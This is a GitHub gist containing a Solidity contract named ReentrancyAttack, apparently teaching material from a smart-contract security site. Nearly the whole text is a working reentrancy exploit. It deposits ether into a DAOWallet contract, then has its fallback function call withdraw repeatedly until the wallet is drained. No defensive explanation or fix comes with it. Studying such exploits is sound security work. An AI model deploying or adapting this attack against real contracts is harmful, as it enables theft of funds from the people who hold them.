Skip to content

Instantly share code, notes, and snippets.

@hackingbeauty
Created September 14, 2020 21:18
Show Gist options
  • Save hackingbeauty/50f3e086dba98522cd57f8c8d34e3c43 to your computer and use it in GitHub Desktop.
Save hackingbeauty/50f3e086dba98522cd57f8c8d34e3c43 to your computer and use it in GitHub Desktop.
ReentrancyAttack.sol (www.SmartContractSecurity.com)
pragma solidity ^0.6.10;
import './DAOWallet.sol';
contract ReentrancyAttack {
DAOWallet public daoWallet;
constructor(address _daoWalletAddress) public {
daoWallet = DAOWallet(_daoWalletAddress);
}
function attack() external payable {
require(msg.value >= 1 ether);
daoWallet.deposit{value: msg.value}();
daoWallet.withdraw(1 ether);
}
fallback() external payable {
if(address(daoWallet).balance >= 1 ether) {
daoWallet.withdraw(1 ether);
}
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment